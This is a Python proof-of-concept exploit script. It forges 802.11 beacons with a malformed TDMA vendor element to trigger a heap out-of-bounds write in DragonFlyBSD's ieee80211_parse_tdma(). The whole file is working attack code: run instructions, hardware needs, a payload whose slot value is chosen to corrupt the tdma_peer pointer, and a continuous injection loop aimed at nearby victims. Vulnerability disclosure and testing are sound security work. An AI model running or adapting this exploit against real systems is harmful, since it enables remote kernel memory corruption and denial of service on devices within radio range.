DF-0612 / inject_tdma_beacon.py
#!/usr/bin/env python3 # DF-0612 PoC: triggers heap OOB setbit write in ieee80211_parse_tdma() # on a DragonFlyBSD TDMA-mode vap that scans+joins this forged BSS. # # Run: sudo python3 inject_tdma_beacon.py wlan0mon <target_ssid> # # Requires: scapy (`pip install scapy`) and an 802.11 monitor+inject-capable # radio (e.g. Atheros ath9k) within range of the victim's TDMA link. # # Requires physical WiFi hardware — NOT reproducible in QEMU. import struct, sys try: from scapy.all import RadioTap, Dot11, Dot11Beacon, Dot11Elt, Raw, sendp except ImportError: sys.exit("scapy not installed: pip install scapy") IFACE = sys.argv[1] if len(sys.argv) > 1 else "wlan0mon" SSID = sys.argv[2].encode() if len(sys.argv) > 2 else b"test_tdma" BSSID = "00:11:22:33:44:55" # TDMA vendor IE: id=221, len=22, OUI=00:03:7f, type=01, subtype=01, # version=2, slot=64 (OOB: hits ts->tdma_peer byte 0), slotcnt=2 (valid), # slotlen=100 (10ms, valid), bintval=5, inuse=0x01, pad, tstamp. # # tdma_slot=64 -> setbit(ts->tdma_inuse, 64) -> ts->tdma_inuse[8] # which is 8 bytes past the 1-byte tdma_inuse[] array -> lands in # tdma_peer pointer. SLOT = 64 # 8..255 -> OOB write; 64 targets tdma_peer payload = (b"\x00\x03\x7f" # OUI + bytes([0x01, 0x01, 2]) # type, subtype, version + bytes([SLOT, 2]) # slot (OOB!), slotcnt + struct.pack("<H", 100) # slotlen (100us units) + bytes([5, 0x01]) # bintval, inuse + b"\x00" * 2 + b"\x00" * 8) # pad + tstamp tdma_ie = bytes([221, len(payload)]) + payload beacon = (Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=BSSID, addr3=BSSID) / Dot11Beacon(cap=0x21) / Dot11Elt(ID=0, info=SSID) / Dot11Elt(ID=1, info=b"\x82\x84\x8b\x96") / Raw(load=tdma_ie)) print(f"[*] Injecting forged TDMA beacon (slot={SLOT}) for SSID " f"{SSID.decode()!r} on {IFACE}") print(f"[*] tdma_slot={SLOT} -> setbit(ts->tdma_inuse, {SLOT}) " f"-> ts->tdma_inuse[{SLOT // 8}] (OOB, {SLOT // 8} bytes past array)") print("[*] Ctrl-C to stop") sendp(RadioTap() / beacon, iface=IFACE, inter=0.1, loop=1) |